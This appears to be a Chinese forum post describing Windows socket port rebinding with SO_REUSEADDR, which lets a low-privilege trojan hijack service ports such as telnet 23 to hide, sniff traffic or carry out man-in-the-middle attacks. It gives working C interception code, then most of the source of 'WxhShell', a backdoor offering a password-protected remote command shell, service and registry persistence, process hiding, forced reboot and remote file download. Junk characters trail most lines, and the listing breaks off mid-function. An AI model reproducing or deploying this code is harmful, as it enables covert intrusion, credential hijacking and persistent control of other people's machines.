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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: M'>8P6O  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^6i,PRScS  
>4iVVs  
  saddr.sin_family = AF_INET;  Lxqv  
fj:q_P67o  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *)xjMTJ%  
['JIMcD  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); r$<4_*  
R!y`p:O C  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2Mw^EjR  
i=AQ1X\s  
  这意味着什么?意味着可以进行如下的攻击: JGG(mrvR  
6!$2nK+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 fZNe[|  
cZ l/8?dj}  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) _,bDv`>Ra  
>`o;hTS  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 b 67l\L  
WNcJ710k27  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .ovG_O  
(pT 7m  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Xcw 6mpLt  
W+`T:Mgh  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ~Hb2-V  
qi=v}bp&  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "U o~fJ  
wS @-EcCB  
  #include (K`@OwD  
  #include +(/' b' *  
  #include }[b3$WZ  
  #include    !.@F,wZvY  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [Nv)37|W  
  int main() <Oihwr@5<  
  { s_4y^w]aX  
  WORD wVersionRequested; v!6IH  
  DWORD ret; _qvzZ6  
  WSADATA wsaData; 4H_QQ6  
  BOOL val; |}D5q| d@n  
  SOCKADDR_IN saddr; 'j 'G4P_G  
  SOCKADDR_IN scaddr; u}eLf'^ZCe  
  int err; N-YCOSUu  
  SOCKET s; K %.>o  
  SOCKET sc; 6S&OE k  
  int caddsize; "/0Vvy_|  
  HANDLE mt; |"i"8~/@<  
  DWORD tid;   8Bwm+LYr-  
  wVersionRequested = MAKEWORD( 2, 2 ); 't n-o  
  err = WSAStartup( wVersionRequested, &wsaData ); f(E[jwy  
  if ( err != 0 ) { EWK?vs  
  printf("error!WSAStartup failed!\n"); gtRVXgI  
  return -1; bTc^ huP  
  } ufvjW]   
  saddr.sin_family = AF_INET; .kp3<.  
   d]+2rt}]hL  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 dLtmG:II  
/0(c-Dv  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ES ?6  
  saddr.sin_port = htons(23); vE C#W43l  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "9O8#i<Nr  
  { [Y-3C47  
  printf("error!socket failed!\n"); Z7J4r TA  
  return -1; k\Z@B!VAq  
  } tKY g  
  val = TRUE; {+jO/ZQu5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @Zw[LIQ*  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Uc( z|  
  { K:54`UJ  
  printf("error!setsockopt failed!\n"); t`pbEjE0K  
  return -1; PasVfC@  
  } Z=9gok\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ("P]bU+'>  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 BDT"wy8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 >6Ody<JPHP  
9{CajtN  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) m ;{(U Z  
  { 5`Y>!| Ab  
  ret=GetLastError(); `*y%[J,I#  
  printf("error!bind failed!\n"); C=x70Y/  
  return -1;  & {=}U  
  } 349BQ5ND  
  listen(s,2); P1dFoQz  
  while(1) Dn:1Mtj-  
  { dZuPR  
  caddsize = sizeof(scaddr); g4&f2D5  
  //接受连接请求 |>Pz#DCy  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); iM M s3  
  if(sc!=INVALID_SOCKET) eqk.+~^  
  { _V(FHjY  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =kjD ]+l  
  if(mt==NULL) lu;gmWz  
  { @`XbM7D 5  
  printf("Thread Creat Failed!\n"); gf70 O>E  
  break; A@jBn6  
  } WXd#`f%  
  } k_`YVsEYP  
  CloseHandle(mt);  Y}e3:\  
  } CPcB17!  
  closesocket(s); %J+k.UrM  
  WSACleanup(); ? kCo/sW  
  return 0; py$i{v%  
  }   ~(]'ah,  
  DWORD WINAPI ClientThread(LPVOID lpParam) @?5pY^>DK  
  { P5__[aTD  
  SOCKET ss = (SOCKET)lpParam; zI CAV -&  
  SOCKET sc; ?N]G;%3/  
  unsigned char buf[4096]; /$^SiE+N  
  SOCKADDR_IN saddr; y=zs6HaS  
  long num; ?MOjtAG0_~  
  DWORD val; O)c3Lm-w  
  DWORD ret; 0u bf]Z  
  //如果是隐藏端口应用的话,可以在此处加一些判断 I].ddR%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   :PNhX2F  
  saddr.sin_family = AF_INET; kW& zkE{  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); VVqpzDoXG  
  saddr.sin_port = htons(23); FpZ5@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rge s`&0  
  { zS '{F>w  
  printf("error!socket failed!\n"); |Elz{i-  
  return -1; zC`ediyu  
  } WnhH]WY  
  val = 100; |nY+Nen7  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) \O)u' Bu  
  { $]MOAj"LH  
  ret = GetLastError(); ;ZTh(_7  
  return -1; vj"['6Xa  
  } S2?)Sb`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) = Q"(9[Az  
  { n/^QPR$>.  
  ret = GetLastError(); 64D4*GQ  
  return -1; M7ug < 8i  
  } 0>:`|IGnT2  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) uzL|yxt  
  { 4MRN{W6  
  printf("error!socket connect failed!\n"); ,irc=0M(  
  closesocket(sc); W=4|ahk$  
  closesocket(ss); `[~LMV&2U  
  return -1; !X 0 (4^  
  } mV}eMw  
  while(1) 1~vv<`-  
  { N@8tf@BT   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 le2 v"Y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 #-/_J?  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \b?O+;5Cj  
  num = recv(ss,buf,4096,0); (qDJgf4fgn  
  if(num>0) ~e=KBYDBu  
  send(sc,buf,num,0); soqnr" 1  
  else if(num==0) yn04[PN2  
  break; xI8v'[3  
  num = recv(sc,buf,4096,0); C3b<Wa])  
  if(num>0) j2jUrl  
  send(ss,buf,num,0); `!.c_%m2  
  else if(num==0) ;(IAhWE?7  
  break; :KsBJ>2ck  
  } 9\i^.2&  
  closesocket(ss); ]CgZt' h{  
  closesocket(sc); +'UxO'v3]  
  return 0 ; CN7qqd  
  } dq3"L!0u  
,62BZyT,T,  
Job&qW9W`  
========================================================== rm,h\  
%Z(lTvqG  
下边附上一个代码,,WXhSHELL )`zfDio-1V  
 #uuNH(  
========================================================== O9Yk5b;  
Og kb N`  
#include "stdafx.h" LsNJ3oy  
i(kr#XsU  
#include <stdio.h> Do;rY\sY  
#include <string.h> x2+M0 }g  
#include <windows.h> e{0O "Jd`  
#include <winsock2.h> %`:+A?zL  
#include <winsvc.h> YHr<`Q</  
#include <urlmon.h> .T}S[`Yx5  
 U66oe3W  
#pragma comment (lib, "Ws2_32.lib") ]j< & :_  
#pragma comment (lib, "urlmon.lib") `Dv &.  
BO;LK-V  
#define MAX_USER   100 // 最大客户端连接数 DJHE6XJ   
#define BUF_SOCK   200 // sock buffer SMh[7lU`  
#define KEY_BUFF   255 // 输入 buffer D]d2opBLj  
1iE*-K%Q  
#define REBOOT     0   // 重启 XwdehyPhT2  
#define SHUTDOWN   1   // 关机 cin3)lm  
#:/-8Z(0  
#define DEF_PORT   5000 // 监听端口 |HK/*B  
O)G^VD s  
#define REG_LEN     16   // 注册表键长度  [T#9#3  
#define SVC_LEN     80   // NT服务名长度 !,PoH  
vm"dE4W=  
// 从dll定义API 1 *$-.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); sxQMfbN  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z=VL|Du1OT  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 84ma X'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u< .N\/  
% ck/ Z  
// wxhshell配置信息 5}2XnM2  
struct WSCFG { \+sP<'~M  
  int ws_port;         // 监听端口 /<oBgFMoJ  
  char ws_passstr[REG_LEN]; // 口令 C@s;0-qL  
  int ws_autoins;       // 安装标记, 1=yes 0=no !Ql&Ls  
  char ws_regname[REG_LEN]; // 注册表键名 9~WjCa*,&  
  char ws_svcname[REG_LEN]; // 服务名 @60/IE{-v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 q3R?8Mb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <3c|S_|L*m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Tof H =d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "+J[7p}`@  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bO?Us  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _D?`'zN  
n:[GK_  
}; '; Z!(r  
]AzDkKj  
// default Wxhshell configuration w@ =Uf7  
struct WSCFG wscfg={DEF_PORT, B>W!RyH8o  
    "xuhuanlingzhe", ;p'Ej'E  
    1, H:M;H =0  
    "Wxhshell", yjxv D  
    "Wxhshell", RP4P"m(   
            "WxhShell Service", ,BG L|5?3z  
    "Wrsky Windows CmdShell Service", ygquQhf5  
    "Please Input Your Password: ", Y:} !W  
  1, YE\s<$  
  "http://www.wrsky.com/wxhshell.exe", 7cJh^M   
  "Wxhshell.exe" x>=8~wIK  
    }; OAXF=V F#  
w>ap8><4  
// 消息定义模块 <rpXhcR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Qcf5* ]V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @-QDp`QtI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; CA{(x(W\:  
char *msg_ws_ext="\n\rExit."; D#G(&<Q  
char *msg_ws_end="\n\rQuit."; x#_0 6  
char *msg_ws_boot="\n\rReboot..."; 1WW`%  
char *msg_ws_poff="\n\rShutdown..."; bR}{xHe  
char *msg_ws_down="\n\rSave to "; J#^oUq  
 rVo?I  
char *msg_ws_err="\n\rErr!"; _Y gvLz %  
char *msg_ws_ok="\n\rOK!"; fer~NlX  
9xm'0 '  
char ExeFile[MAX_PATH]; $pg1Av7l  
int nUser = 0; ir ^XZVR  
HANDLE handles[MAX_USER]; EFb"{L  
int OsIsNt; ;K9rE3  
12,,gwh  
SERVICE_STATUS       serviceStatus; + (|6Wv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; APA:K9jD  
D~s TQfWr  
// 函数声明  1ZF>e`t8  
int Install(void); T[YGQT|B  
int Uninstall(void); b\O%gg\p%!  
int DownloadFile(char *sURL, SOCKET wsh); u`2[V4=L  
int Boot(int flag); PHh&@:  
void HideProc(void); "2'pS<|  
int GetOsVer(void); +/E yX =  
int Wxhshell(SOCKET wsl); dNL<O   
void TalkWithClient(void *cs); i #%17}  
int CmdShell(SOCKET sock); eJ23$VM+9  
int StartFromService(void); _#8OHG.x  
int StartWxhshell(LPSTR lpCmdLine); |NZVm}T  
VV1I2YcKt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3 O)^Hq+9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); FX#fh 2  
WTcrfs)T  
// 数据结构和表定义 , 9C~%c0Pw  
SERVICE_TABLE_ENTRY DispatchTable[] = g}B|ZRz+{  
{  :nHa-N3  
{wscfg.ws_svcname, NTServiceMain}, _26<}&]b*  
{NULL, NULL} TEK]$%2  
}; 6HW8mXQh<h  
*"pf3x6  
// 自我安装 > v~?Vd(  
int Install(void) VkNg Vjg  
{ `]8z]PD  
  char svExeFile[MAX_PATH]; 18AKM  
  HKEY key; /b)V=mcR  
  strcpy(svExeFile,ExeFile); }sm PP*  
7jZ=+2  
// 如果是win9x系统,修改注册表设为自启动 ; =FSpZ@  
if(!OsIsNt) { f;nO$h[Qb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K; +w'/{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cq=ker zQ  
  RegCloseKey(key); ,y+}0q-Ou  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QD}'2{M!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J ^J$I!  
  RegCloseKey(key); /@<&{_sybp  
  return 0; ]d}U68$T+  
    } FKOTv2  
  } mct$.{~  
} z|o7k;raH  
else { Vk/!_)  
a}Dx"zl;  
// 如果是NT以上系统,安装为系统服务 .FarKW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P@m_tA%  
if (schSCManager!=0) 7$l!f  
{ 3Vu_-.ID  
  SC_HANDLE schService = CreateService ]}wo$7pO  
  ( tf VK  
  schSCManager,   pE<@  
  wscfg.ws_svcname, Gd:TM]rJ  
  wscfg.ws_svcdisp, <@DF0x!  
  SERVICE_ALL_ACCESS, xb2xl.2x!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J\kGD  
  SERVICE_AUTO_START, sUc_)  
  SERVICE_ERROR_NORMAL, ]Cfjs33H  
  svExeFile, m M> L0  
  NULL, xH\#:DLY  
  NULL, +ld]P}  
  NULL, |# _F  
  NULL, [O"9OW'2!B  
  NULL "G^Z>Z-`  
  ); 56;^ NE4  
  if (schService!=0) {<~oa+"  
  { /E/Z0<l7  
  CloseServiceHandle(schService); WRa4g  
  CloseServiceHandle(schSCManager); $Z{ap  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V__|NVoOm  
  strcat(svExeFile,wscfg.ws_svcname); 0^H"eQO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xnuu#@f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); " vW4"R6  
  RegCloseKey(key); kq{PM-]l  
  return 0; BwLggo  
    } 7Rba@ cs9  
  } o =oXL2}  
  CloseServiceHandle(schSCManager); PQu_]cXI  
} ;;^OKrzWW  
} 3Kx&+  
eHQS\n  
return 1; 6aw1  
} DRDn;j  
>@g+%K]  
// 自我卸载 CAbeb+O  
int Uninstall(void) n=z=%T6  
{ MO_-7,.y  
  HKEY key; UJ/=RBfkJ  
wM-I*<L>  
if(!OsIsNt) { 9JDdOjqo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?~%Go  
  RegDeleteValue(key,wscfg.ws_regname); w$aiVOjgT  
  RegCloseKey(key); U#qs^f7R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dR9[K4`p/  
  RegDeleteValue(key,wscfg.ws_regname); ]O^C'GzZ  
  RegCloseKey(key); !08\w@  
  return 0; LLMom.  
  } )YtdU(^J$  
} hxB` hu-  
} ;kX:k~,]}>  
else { ^Fn~@'  
F[ '<;}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @@ 1Sxv_  
if (schSCManager!=0) 9'My /A0  
{ ,\DSi&T  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); [z2jR(+`U  
  if (schService!=0) J7RO*.O&Iq  
  { )y .1}R2[  
  if(DeleteService(schService)!=0) { _Nx#)(x  
  CloseServiceHandle(schService); :L6,=#  
  CloseServiceHandle(schSCManager); 1MPn{#Ff  
  return 0; @V7HxW7RX  
  } S^ ,q{x*T  
  CloseServiceHandle(schService); ,&q Q[i  
  } # ~I.F4  
  CloseServiceHandle(schSCManager); o6v'`p '  
} <5xlP:Cx  
} 0dKv%X#\  
Lj,!0 25  
return 1; $q%l)]+  
}  ds#om2)  
uto E}U7]  
// 从指定url下载文件 <y!(X"n`  
int DownloadFile(char *sURL, SOCKET wsh) :&'[#%h8  
{ 9R1S20O  
  HRESULT hr; %n!7'XF'[  
char seps[]= "/"; "%?$BoJR0  
char *token; 3c|u2Pl  
char *file; }u `~lw(Z  
char myURL[MAX_PATH]; RHIGNzSz  
char myFILE[MAX_PATH]; X%lk] &2  
]iHSUP  
strcpy(myURL,sURL); q qFN4AO  
  token=strtok(myURL,seps); \Q~HL_fy|Y  
  while(token!=NULL) AnD#k ]  
  { h%[1V  
    file=token; C"[d bh!  
  token=strtok(NULL,seps); tm#[.  
  } H2iC? cSR  
+W}dO#  
GetCurrentDirectory(MAX_PATH,myFILE); $;Nw_S@  
strcat(myFILE, "\\"); X[;-SXq  
strcat(myFILE, file); J^xIfV~ zt  
  send(wsh,myFILE,strlen(myFILE),0); #sJL"GB  
send(wsh,"...",3,0); rJ^*8C!  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?Dn 6  
  if(hr==S_OK) pLtAusx  
return 0; Ae3=o8p  
else |j w{7\+  
return 1; loByT p ^  
}u&,;]  
} -S6^D/(;  
_2 Hehw  
// 系统电源模块 Y3M"a8e'  
int Boot(int flag) L8.u7(-#  
{ v;$cx*?  
  HANDLE hToken; +h?Rb3=S  
  TOKEN_PRIVILEGES tkp; %;-r->  
CWx_9b zk  
  if(OsIsNt) { yGZsPQIaV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ps&p|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ELa:yIl0  
    tkp.PrivilegeCount = 1; t}m"rMbt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UkzLUok]U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); : kw14?]_  
if(flag==REBOOT) { <HMmsw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vWq/A.  
  return 0; -s,guW |  
} w7"&\8a  
else { &:}}T=@M1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wU(N<9  
  return 0; &?(472<f**  
} em, j>qp  
  } [D= KI&@&O  
  else { csCi0'u  
if(flag==REBOOT) { LvbS")  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wpS $ -  
  return 0; #1VejeTi  
} yIG*  
else { kXY p.IVA  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l~j{i/>  
  return 0; OJTEvb6nPg  
} S/H!a:_5r  
} NI)q<@ju  
8B"my\  
return 1; 03^?+[C  
} A;e0h)F$-  
kp>AZVk  
// win9x进程隐藏模块  vgbk {  
void HideProc(void) <F#/wU^9  
{ >7j(V`i"y  
6j5?&)xJ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >^(Q4eU7!  
  if ( hKernel != NULL ) F]k$O$)0  
  { a]nyZdt`  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Zg2F%f$Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;VI W/  
    FreeLibrary(hKernel); T*i rCe  
  } GFmVR2z_+  
?> SH`\  
return; eq(Xzh  
} \5=fC9*G  
o;<oXv  
// 获取操作系统版本 G>H',iOI  
int GetOsVer(void) ;zZGV4Qc~  
{ T.R(  
  OSVERSIONINFO winfo; {8a s _  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y/aNrIK7  
  GetVersionEx(&winfo); ~e@pL*s  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vJE>H4qPmD  
  return 1; i][af  
  else is,r:  
  return 0; JkMf+ !  
} `fUem,$)1F  
A! j4;=}  
// 客户端句柄模块 |Lz:i +;  
int Wxhshell(SOCKET wsl) Q?\rwnW?U  
{ rBUdHd9  
  SOCKET wsh; T-L; iH~0  
  struct sockaddr_in client; 0o+2]`q)Q  
  DWORD myID; beM}({:`  
Z*Qra4GBl]  
  while(nUser<MAX_USER) L8zY?v(bG  
{ 2rK<UPIq  
  int nSize=sizeof(client); #[a+m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;v?!Pml2k  
  if(wsh==INVALID_SOCKET) return 1; ua -cX3E  
8}0O @ wq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); b-x,`s  
if(handles[nUser]==0) ZxRD+`  
  closesocket(wsh); f9Hm2wV  
else .CL\``  
  nUser++; _=.f+1W  
  } >|[74#}7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D%0GXUp  
B0KZdBRx}  
  return 0; n>Rt9   
} G^]7!:0  
LI&+5`  
// 关闭 socket U0+Hk+  
void CloseIt(SOCKET wsh) poqx O  
{ <E(#;F^y  
closesocket(wsh); }lk_Oe1  
nUser--; 'j)xryw  
ExitThread(0); ,4-)  e  
} 'y [eH  
8- ?.Q"D7%  
// 客户端请求句柄 lglC1W-q  
void TalkWithClient(void *cs) ov=[g l  
{ d (Fb_  
NY'sZTM&  
  SOCKET wsh=(SOCKET)cs; L>Y>b4oy3  
  char pwd[SVC_LEN]; _U.D*f<3)  
  char cmd[KEY_BUFF]; _91g=pM   
char chr[1]; m"~^-mJ-  
int i,j; [=Y@Ul  
(I d]'w4  
  while (nUser < MAX_USER) { n# %mL<  
h7NS9CgO  
if(wscfg.ws_passstr) { gp:,DC?(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SsDe\"?Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &i8AB{OU  
  //ZeroMemory(pwd,KEY_BUFF); #ra~Yb-F  
      i=0;  eU"!X9  
  while(i<SVC_LEN) { krPwFp2[*  
-v4kW0G  
  // 设置超时 ysV0Ed  
  fd_set FdRead; h&+dIk\[3  
  struct timeval TimeOut; 9pKN^FX,76  
  FD_ZERO(&FdRead); $ZD1_sJ.  
  FD_SET(wsh,&FdRead); ){|Bh3XV  
  TimeOut.tv_sec=8; ~a:0Q{>a  
  TimeOut.tv_usec=0; bsw0+UY=9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #Mt'y8|}$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ll%CeP  
^[no Gjy  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wR\Y+Z   
  pwd=chr[0]; H3Y FbR  
  if(chr[0]==0xd || chr[0]==0xa) { Z5re Fok  
  pwd=0; wK+%[i&,  
  break; 6fhH)]0  
  } V,<3uQD9a  
  i++; tr6<89e(o  
    } LfEeFF=#n  
P08=?  
  // 如果是非法用户,关闭 socket m$ZPQ0X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <(dHh9$~  
} $<.\,wW*'w  
:?%$={m  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9k mkF,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 96UL](l(`  
NGIbUH1[  
while(1) { ;0ap#6T  
q~68)D(  
  ZeroMemory(cmd,KEY_BUFF); 095:"GvO  
K,{P b?  
      // 自动支持客户端 telnet标准   ,U+y)w]ar  
  j=0; F!*u}8/_!  
  while(j<KEY_BUFF) { Tf/jd 3>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <rZ( B>$  
  cmd[j]=chr[0]; vt@5Hb)  
  if(chr[0]==0xa || chr[0]==0xd) { S)T]>Ash  
  cmd[j]=0; O4w6\y3U  
  break; v#1}( hb  
  } YqhZndktX  
  j++; 'NyIy:  
    } | +osEHC  
`)Z"||8K  
  // 下载文件 ol QT r  
  if(strstr(cmd,"http://")) { oc+TsVt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e P]L  
  if(DownloadFile(cmd,wsh)) 6-8,qk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $VOSd<87  
  else Bw _^"e8X  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "mlVs/nsyG  
  } )Qe<XJH!  
  else { q1!45a  
THC7e>P4  
    switch(cmd[0]) { `}t<5_  
  \1Tu P}P  
  // 帮助 Dv~W!T i  
  case '?': { d:C|laZHn  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O@*^2, 6  
    break; v_M-:e3`  
  } kr ,&aP<,  
  // 安装 !C13E lf  
  case 'i': { ]-ad\PI$  
    if(Install()) cAFYEx/(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gR7in!8  
    else $gZC"~BR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); = BcKWC  
    break; SI_u0j4%*  
    } HRQ3v`P.  
  // 卸载 F|mppY'<J  
  case 'r': { BwpEIV@b]  
    if(Uninstall()) gY!+x=cx0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u={A4A#  
    else 90g=&O5@O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \ @XvEx%  
    break; &+0WZ#VI  
    } CMu/n]?c  
  // 显示 wxhshell 所在路径 )W,tL*9[  
  case 'p': { 8v{0=9,Z  
    char svExeFile[MAX_PATH]; vs=8x\W  
    strcpy(svExeFile,"\n\r"); iO$Z?Dyg9  
      strcat(svExeFile,ExeFile); M3m)uiz  
        send(wsh,svExeFile,strlen(svExeFile),0); [f._w~  
    break; 4~8!3JH39  
    } 9NXL8QmC8  
  // 重启 7-#R[8S  
  case 'b': { JSp V2c5Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {3)^$F=T  
    if(Boot(REBOOT)) JWB3;,S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O@9<7@h+Nl  
    else { #_(t46  
    closesocket(wsh); \US'tF)/  
    ExitThread(0); !+R_Z#gB  
    } 5vP=Wf cW  
    break; YRU1^=v  
    } tBB\^xq:  
  // 关机 }Bk>'  
  case 'd': { {OIktG2gZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GkU]>8E'"  
    if(Boot(SHUTDOWN)) rlRRGJ\l  
